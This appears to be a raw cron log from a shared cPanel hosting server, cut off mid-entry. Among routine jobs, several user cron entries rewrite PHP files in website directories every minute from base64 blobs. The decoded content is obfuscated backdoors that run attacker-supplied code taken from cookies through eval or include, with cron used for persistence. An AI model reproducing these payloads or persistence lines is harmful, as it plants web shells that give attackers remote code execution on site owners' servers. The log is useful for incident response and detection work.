Jun  7 10:00:02 medusa CROND[30747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:00:02 medusa CROND[30750]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:00:02 medusa CROND[30762]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:00:02 medusa CROND[30765]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:00:02 medusa CROND[30764]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30773]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:00:02 medusa CROND[30771]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 10:00:02 medusa CROND[30775]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:00:02 medusa CROND[30776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:00:02 medusa CROND[30777]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 10:00:02 medusa CROND[30778]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:00:02 medusa CROND[30781]: (modulablecom) CMD (wget -q -O https://tienda.modulable.com.ar/cron.php >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30782]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30783]: (modulablecom) CMD (wget -q -O https://modulable.com.ar/cron.php >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:00:02 medusa CROND[30784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30797]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:00:02 medusa CROND[30800]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 10:00:02 medusa CROND[30763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:01:02 medusa CROND[510]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:01:02 medusa CROND[509]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 10:01:02 medusa CROND[511]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:01:02 medusa CROND[512]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:01:02 medusa CROND[513]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:01:02 medusa CROND[514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:01:02 medusa CROND[515]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:01:02 medusa CROND[517]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:01:02 medusa CROND[521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:01:02 medusa CROND[522]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:01:02 medusa CROND[523]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:01:02 medusa CROND[525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:01:02 medusa CROND[527]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:01:02 medusa CROND[551]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:01:02 medusa run-parts(/etc/cron.hourly)[509]: starting 0anacron
Jun  7 10:01:02 medusa run-parts(/etc/cron.hourly)[605]: finished 0anacron
Jun  7 10:02:01 medusa CROND[2689]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:02:01 medusa CROND[2690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:02:01 medusa CROND[2691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:02:01 medusa CROND[2692]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb